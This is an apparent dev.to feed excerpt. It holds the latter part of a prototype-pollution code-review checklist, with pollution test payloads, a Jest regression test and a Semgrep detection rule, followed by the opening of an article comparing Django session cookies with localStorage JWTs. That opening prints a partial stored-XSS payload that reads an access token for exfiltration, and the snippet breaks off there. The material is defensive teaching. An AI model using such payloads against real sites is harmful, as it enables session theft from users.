&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/search&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;// req.query is already parsed by qs — the __proto__ key is live in the object&lt;/span&gt;
  &lt;span class="c1"&gt;// Passing this directly to a merge function pollutes Object.prototype&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;options&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{};&lt;/span&gt;
  &lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;assign&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;options&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;query&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// unsafe if req.query contains __proto__&lt;/span&gt;
  &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;ok&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note: &lt;code&gt;qs&lt;/code&gt; 6.10+ has a &lt;code&gt;allowPrototypes&lt;/code&gt; option (default false) that strips &lt;code&gt;__proto__&lt;/code&gt; during parsing. If your project pins an older version or sets &lt;code&gt;allowPrototypes: true&lt;/code&gt;, you're exposed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;WebSocket message handlers&lt;/strong&gt; deserve the same scrutiny as HTTP handlers. &lt;code&gt;ws.on('message', data =&amp;gt; ...)&lt;/code&gt; is a source that reviewers often skip because it doesn't look like an HTTP endpoint.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;MongoDB query filters&lt;/strong&gt; constructed from &lt;code&gt;req.body&lt;/code&gt; can include &lt;code&gt;__proto__&lt;/code&gt; as a field name. MongoDB itself won't interpret it as a prototype key, but code that later merges the filter result into a config object will.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;YAML parsing&lt;/strong&gt; via &lt;code&gt;js-yaml&lt;/code&gt; in &lt;code&gt;DEFAULT_FULL_SCHEMA&lt;/code&gt; mode (the pre-4.x default) allows arbitrary JavaScript object construction, which includes prototype manipulation. If you're parsing user-supplied YAML and haven't pinned to safe load mode, that's a source.&lt;/p&gt;

&lt;h2&gt;
  
  
  The reviewer's checklist (copy-paste)
&lt;/h2&gt;

&lt;p&gt;Paste this block into your PR review template or a review comment.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Sources: untrusted input&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;[ ] Does any &lt;code&gt;req.body&lt;/code&gt;, &lt;code&gt;req.query&lt;/code&gt;, &lt;code&gt;req.params&lt;/code&gt;, or WebSocket message flow into a merge, assign, or &lt;code&gt;_.set&lt;/code&gt;?&lt;/li&gt;
&lt;li&gt;[ ] Is &lt;code&gt;qs&lt;/code&gt; version &amp;gt;= 6.10, and is &lt;code&gt;allowPrototypes&lt;/code&gt; explicitly false?&lt;/li&gt;
&lt;li&gt;[ ] Are YAML or CSV imports using safe-load modes with no schema that permits arbitrary types?&lt;/li&gt;
&lt;li&gt;[ ] Are MongoDB or Redis results merged into shared config objects?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Sinks: dangerous operations on attacker-influenced objects&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;[ ] Does any recursive merge validate keys against &lt;code&gt;__proto__&lt;/code&gt;, &lt;code&gt;constructor&lt;/code&gt;, &lt;code&gt;prototype&lt;/code&gt;?&lt;/li&gt;
&lt;li&gt;[ ] Are &lt;code&gt;_.merge&lt;/code&gt;, &lt;code&gt;_.defaultsDeep&lt;/code&gt;, or &lt;code&gt;_.set&lt;/code&gt; receiving untrusted input? Check the lodash version (must be &amp;gt;= 4.17.21 for CVE-2021-23337 and related).&lt;/li&gt;
&lt;li&gt;[ ] Are there any &lt;code&gt;obj[userKey1][userKey2] = value&lt;/code&gt; patterns where either key comes from outside?&lt;/li&gt;
&lt;li&gt;[ ] Does &lt;code&gt;Object.assign&lt;/code&gt; receive a spread or a direct reference to parsed user data as its source?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Safe-object usage&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;[ ] Are lookup tables that hold user-supplied keys using &lt;code&gt;Map&lt;/code&gt; or &lt;code&gt;Object.create(null)&lt;/code&gt; instead of &lt;code&gt;{}&lt;/code&gt;?&lt;/li&gt;
&lt;li&gt;[ ] Does the app call &lt;code&gt;Object.freeze(Object.prototype)&lt;/code&gt; at startup, or is there an equivalent library (&lt;code&gt;--disable-proto=delete&lt;/code&gt; V8 flag)?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Dependency audit&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;[ ] Does &lt;code&gt;npm audit&lt;/code&gt; or Snyk report any prototype-pollution CVEs in the dependency tree?&lt;/li&gt;
&lt;li&gt;[ ] Is lodash &amp;gt;= 4.17.21? (Most merge-related CVEs cluster here.)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Regression test&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Every PR that touches a merge path should ship a test like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Jest regression test for prototype pollution&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;safeMerge&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;./utils/merge&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nf"&gt;describe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;safeMerge&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;beforeEach&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Confirm baseline — Object.prototype should be clean before each test&lt;/span&gt;
    &lt;span class="nf"&gt;expect&lt;/span&gt;&lt;span class="p"&gt;(({}).&lt;/span&gt;&lt;span class="nx"&gt;polluted&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;toBeUndefined&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;

  &lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;rejects __proto__ key and does not pollute Object.prototype&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;{"__proto__": {"polluted": true}}&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nf"&gt;safeMerge&lt;/span&gt;&lt;span class="p"&gt;({},&lt;/span&gt; &lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="c1"&gt;// If pollution occurred, every new object would inherit `polluted`&lt;/span&gt;
    &lt;span class="nf"&gt;expect&lt;/span&gt;&lt;span class="p"&gt;(({}).&lt;/span&gt;&lt;span class="nx"&gt;polluted&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;toBeUndefined&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;

  &lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;rejects constructor.prototype key path&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;{"constructor": {"prototype": {"polluted": true}}}&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nf"&gt;safeMerge&lt;/span&gt;&lt;span class="p"&gt;({},&lt;/span&gt; &lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nf"&gt;expect&lt;/span&gt;&lt;span class="p"&gt;(({}).&lt;/span&gt;&lt;span class="nx"&gt;polluted&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;toBeUndefined&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;

  &lt;span class="nf"&gt;afterEach&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Belt-and-suspenders cleanup in case a test fails mid-run&lt;/span&gt;
    &lt;span class="k"&gt;delete &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;prototype&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nx"&gt;any&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;polluted&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;afterEach&lt;/code&gt; cleanup matters: a failing test mid-suite that successfully pollutes &lt;code&gt;Object.prototype&lt;/code&gt; will corrupt every subsequent test in the same process unless you clean up.&lt;/p&gt;

&lt;h2&gt;
  
  
  Tooling: linters, scanners, and CI gates
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;ESLint&lt;/strong&gt;: &lt;code&gt;eslint-plugin-security&lt;/code&gt; flags &lt;code&gt;object[variable]&lt;/code&gt; access patterns (rule &lt;code&gt;security/detect-object-injection&lt;/code&gt;). It's noisy but catches the dynamic key assignment pattern. Add it to your ESLint config and suppress false positives with inline comments rather than blanket disables.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Semgrep&lt;/strong&gt;: The Semgrep registry has community rules for prototype pollution. You can also write targeted rules for your codebase. Here's one that flags two-level dynamic assignment where the outer key comes from a request object:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# semgrep-rules/prototype-pollution.yaml&lt;/span&gt;
&lt;span class="na"&gt;rules&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;dynamic-two-level-assignment-from-request&lt;/span&gt;
    &lt;span class="na"&gt;languages&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;javascript&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;typescript&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
    &lt;span class="na"&gt;message&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="s"&gt;Dynamic two-level bracket assignment with a request-derived key.&lt;/span&gt;
      &lt;span class="s"&gt;If the outer key is __proto__, this pollutes Object.prototype.&lt;/span&gt;
      &lt;span class="s"&gt;Validate both keys against an allowlist before assignment.&lt;/span&gt;
    &lt;span class="na"&gt;severity&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;WARNING&lt;/span&gt;
    &lt;span class="na"&gt;patterns&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;pattern&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;$OBJ[$KEY1][$KEY2] = $VAL&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;pattern-either&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;pattern-inside&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;|&lt;/span&gt;
              &lt;span class="s"&gt;$KEY1 = req.$X&lt;/span&gt;
              &lt;span class="s"&gt;...&lt;/span&gt;
          &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;pattern-inside&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;|&lt;/span&gt;
              &lt;span class="s"&gt;const $KEY1 = req.$X&lt;/span&gt;
              &lt;span class="s"&gt;...&lt;/span&gt;
          &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;pattern-inside&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;|&lt;/span&gt;
              &lt;span class="s"&gt;let $KEY1 = req.$X&lt;/span&gt;
              &lt;span class="s"&gt;...&lt;/span&gt;
    &lt;span class="na"&gt;metadata&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;cwe&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;CWE-1321"&lt;/span&gt;
      &lt;span class="na"&gt;references&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
        &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;https://cwe.mitre.org/data/definitions/1321.html&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;&lt;code&gt;npm audit&lt;/code&gt; and Snyk&lt;/strong&gt;: Known CVEs in lodash, hoek, merge, and similar libraries show up here. This is the fastest win: &lt;code&gt;npm audit --audit-level=moderate&lt;/code&gt; in CI, failing on anything moderate or above, catches the published CVEs immediately. Snyk adds transitive dependency analysis that &lt;code&gt;npm audit&lt;/code&gt; sometimes misses.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;V8 flags&lt;/strong&gt;: For Node.js services where you control the startup command, &lt;code&gt;--disable-proto=delete&lt;/code&gt; removes the &lt;code&gt;__proto__&lt;/code&gt; accessor entirely from &lt;code&gt;Object.prototype&lt;/code&gt;. This is a hard engine-level mitigation. The tradeoff is that any library relying on &lt;code&gt;__proto__&lt;/code&gt; for legitimate use breaks, which is rare but non-zero. &lt;code&gt;--disable-proto=throw&lt;/code&gt; is the stricter variant that throws on access instead of silently deleting the accessor.&lt;/p&gt;

&lt;p&gt;You can explore the detection tooling and CI integration patterns further at &lt;a href="https://www.codereviewlab.com" rel="noopener noreferrer"&gt;Code Review Lab&lt;/a&gt;, which has a guided exercise specifically on finding pollution vectors in pull request diffs.&lt;/p&gt;

&lt;h2&gt;
  
  
  Related risks to check in the same PR
&lt;/h2&gt;

&lt;p&gt;When you find a prototype pollution candidate in a PR, the same untrusted-key-handling weakness usually signals other vulnerability classes nearby. Widen the review scope before approving.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HTTP parameter pollution&lt;/strong&gt;: When a query parameter appears twice (&lt;code&gt;?role=user&amp;amp;role=admin&lt;/code&gt;), parsers handle it differently. Express/qs returns an array; some custom parsers take the last value, others the first. Code written assuming a scalar that gets an array can bypass input validation. The &lt;a href="https://www.codereviewlab.com/learning/http-parameter-pollution" rel="noopener noreferrer"&gt;HTTP parameter pollution&lt;/a&gt; pattern often co-occurs with prototype pollution because both rely on a parser feeding unexpected key shapes into application logic.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;DOM clobbering and XSS&lt;/strong&gt;: On the client side, if polluted prototype properties reach template rendering (Handlebars, Pug, Nunjucks), you get RCE server-side or XSS client-side. Handlebars versions before 4.7.7 had a known gadget chain. Pug before 3.0.1 had another. The &lt;a href="https://www.codereviewlab.com/learning/advanced-xss" rel="noopener noreferrer"&gt;DOM clobbering and advanced XSS&lt;/a&gt; patterns share the same root cause: attacker-controlled property names escaping the expected object boundary.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Auth bypass&lt;/strong&gt;: If your middleware checks &lt;code&gt;if (user.isAdmin)&lt;/code&gt; and &lt;code&gt;user&lt;/code&gt; is a plain object, a polluted &lt;code&gt;Object.prototype.isAdmin = true&lt;/code&gt; satisfies that check for any user object in the process, including &lt;code&gt;{}&lt;/code&gt;, which is the default value many auth middlewares fall back to on parse failure. This is the impact chain worth documenting in your security review notes.&lt;/p&gt;

&lt;p&gt;Any PR that touches query-string parsing, config merging, or role/permission checks deserves all three of these as parallel review threads, not just a prototype pollution scan in isolation.&lt;/p&gt;




&lt;p&gt;If you take one thing from this checklist: add the two-line &lt;code&gt;Object.freeze(Object.prototype)&lt;/code&gt; call to your application entry point right now, then schedule a targeted &lt;code&gt;rg "\[.*\]\[.*\]\s*="&lt;/code&gt; pass over the codebase. Freeze converts silent corruption into a detectable error, and the grep surfaces the patterns worth reading carefully. Both take less than ten minutes.&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>security</category>
      <category>node</category>
      <category>codereview</category>
    </item>
    <item>
      <title>[Boost]</title>
      <dc:creator>Stefan</dc:creator>
      <pubDate>Wed, 27 May 2026 09:13:00 +0000</pubDate>
      <link>https://dev.to/securitystefan/-g99</link>
      <guid>https://dev.to/securitystefan/-g99</guid>
      <description>&lt;div class="ltag__link--embedded"&gt;
  &lt;div class="crayons-story "&gt;
  &lt;a href="https://dev.to/securitystefan/django-session-cookie-vs-localstorage-jwt-security-comparison-25an" class="crayons-story__hidden-navigation-link"&gt;Django Session Cookie vs localStorage JWT Security Comparison&lt;/a&gt;


  &lt;div class="crayons-story__body crayons-story__body-full_post"&gt;
    &lt;div class="crayons-story__top"&gt;
      &lt;div class="crayons-story__meta"&gt;
        &lt;div class="crayons-story__author-pic"&gt;

          &lt;a href="/securitystefan" class="crayons-avatar  crayons-avatar--l  "&gt;
            &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1585924%2F860d86e8-d505-4b4e-83b2-649ac063f47d.png" alt="securitystefan profile" class="crayons-avatar__image"&gt;
          &lt;/a&gt;
        &lt;/div&gt;
        &lt;div&gt;
          &lt;div&gt;
            &lt;a href="/securitystefan" class="crayons-story__secondary fw-medium m:hidden"&gt;
              Stefan
            &lt;/a&gt;
            &lt;div class="profile-preview-card relative mb-4 s:mb-0 fw-medium hidden m:inline-block"&gt;
              
                Stefan
                
              
              &lt;div id="story-author-preview-content-3763002" class="profile-preview-card__content crayons-dropdown branded-7 p-4 pt-0"&gt;
                &lt;div class="gap-4 grid"&gt;
                  &lt;div class="-mt-4"&gt;
                    &lt;a href="/securitystefan" class="flex"&gt;
                      &lt;span class="crayons-avatar crayons-avatar--xl mr-2 shrink-0"&gt;
                        &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1585924%2F860d86e8-d505-4b4e-83b2-649ac063f47d.png" class="crayons-avatar__image" alt=""&gt;
                      &lt;/span&gt;
                      &lt;span class="crayons-link crayons-subtitle-2 mt-5"&gt;Stefan&lt;/span&gt;
                    &lt;/a&gt;
                  &lt;/div&gt;
                  &lt;div class="print-hidden"&gt;
                    
                      Follow
                    
                  &lt;/div&gt;
                  &lt;div class="author-preview-metadata-container"&gt;&lt;/div&gt;
                &lt;/div&gt;
              &lt;/div&gt;
            &lt;/div&gt;

          &lt;/div&gt;
          &lt;a href="https://dev.to/securitystefan/django-session-cookie-vs-localstorage-jwt-security-comparison-25an" class="crayons-story__tertiary fs-xs"&gt;&lt;time&gt;May 27&lt;/time&gt;&lt;span class="time-ago-indicator-initial-placeholder"&gt;&lt;/span&gt;&lt;/a&gt;
        &lt;/div&gt;
      &lt;/div&gt;

    &lt;/div&gt;

    &lt;div class="crayons-story__indention"&gt;
      &lt;h2 class="crayons-story__title crayons-story__title-full_post"&gt;
        &lt;a href="https://dev.to/securitystefan/django-session-cookie-vs-localstorage-jwt-security-comparison-25an" id="article-link-3763002"&gt;
          Django Session Cookie vs localStorage JWT Security Comparison
        &lt;/a&gt;
      &lt;/h2&gt;
        &lt;div class="crayons-story__tags"&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/django"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;django&lt;/a&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/security"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;security&lt;/a&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/jwt"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;jwt&lt;/a&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/webdev"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;webdev&lt;/a&gt;
        &lt;/div&gt;
      &lt;div class="crayons-story__bottom"&gt;
        &lt;div class="crayons-story__details"&gt;
          &lt;a href="https://dev.to/securitystefan/django-session-cookie-vs-localstorage-jwt-security-comparison-25an" class="crayons-btn crayons-btn--s crayons-btn--ghost crayons-btn--icon-left"&gt;
            &lt;div class="multiple_reactions_aggregate"&gt;
              &lt;span class="multiple_reactions_icons_container"&gt;
                  &lt;span class="crayons_icon_container"&gt;
                    &lt;img src="https://assets.dev.to/assets/sparkle-heart-5f9bee3767e18deb1bb725290cb151c25234768a0e9a2bd39370c382d02920cf.svg" width="18" height="18"&gt;
                  &lt;/span&gt;
              &lt;/span&gt;
              &lt;span class="aggregate_reactions_counter"&gt;2&lt;span class="hidden s:inline"&gt; reactions&lt;/span&gt;&lt;/span&gt;
            &lt;/div&gt;
          &lt;/a&gt;
            &lt;a href="https://dev.to/securitystefan/django-session-cookie-vs-localstorage-jwt-security-comparison-25an#comments" class="crayons-btn crayons-btn--s crayons-btn--ghost crayons-btn--icon-left flex items-center"&gt;
              Comments


              &lt;span class="hidden s:inline"&gt;Add Comment&lt;/span&gt;
            &lt;/a&gt;
        &lt;/div&gt;
        &lt;div class="crayons-story__save"&gt;
          &lt;small class="crayons-story__tertiary fs-xs mr-2"&gt;
            11 min read
          &lt;/small&gt;
            
              &lt;span class="bm-initial"&gt;
                

              &lt;/span&gt;
              &lt;span class="bm-success"&gt;
                

              &lt;/span&gt;
            
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;/div&gt;


</description>
    </item>
    <item>
      <title>Django Session Cookie vs localStorage JWT Security Comparison</title>
      <dc:creator>Stefan</dc:creator>
      <pubDate>Wed, 27 May 2026 09:12:42 +0000</pubDate>
      <link>https://dev.to/securitystefan/django-session-cookie-vs-localstorage-jwt-security-comparison-25an</link>
      <guid>https://dev.to/securitystefan/django-session-cookie-vs-localstorage-jwt-security-comparison-25an</guid>
      <description>&lt;h1&gt;
  
  
  Django Session Cookie vs localStorage JWT Security Comparison
&lt;/h1&gt;

&lt;p&gt;A team ships a Django REST Framework API, adds a React SPA on the same origin, and reaches for &lt;code&gt;localStorage&lt;/code&gt; to store JWTs because that's what the tutorial used. Six months later, a reflected XSS on a third-party widget exfiltrates every active session token in under 200ms. The attacker doesn't need to touch a cookie, bypass SameSite, or forge a CSRF token. They just read a key from storage and replay it from a server in another country. This comparison is about why that attack path exists, when it doesn't, and what the settings are that actually change the outcome.&lt;/p&gt;




&lt;h2&gt;
  
  
  How attackers steal tokens from each storage model
&lt;/h2&gt;

&lt;p&gt;The attack mechanic is straightforward. &lt;code&gt;localStorage&lt;/code&gt; is accessible to any JavaScript executing on the page, regardless of where that script originated. A stored JWT is just a string sitting in a key-value store that &lt;code&gt;window.localStorage.getItem()&lt;/code&gt; can read without restriction. A successful XSS — whether reflected, stored, or through a compromised dependency — gives an attacker the same DOM access your own application code has.&lt;/p&gt;

&lt;p&gt;The following payload illustrates the extraction. It takes the token and beacons it to an attacker-controlled endpoint:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Stored XSS payload injected into a product review field&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;exfil&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;localStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;access_token&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// reads the JWT directly&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="c1"&gt;// encode and exfiltrate — img beacons bypass CSP default-src in many configs&lt;/span&gt;
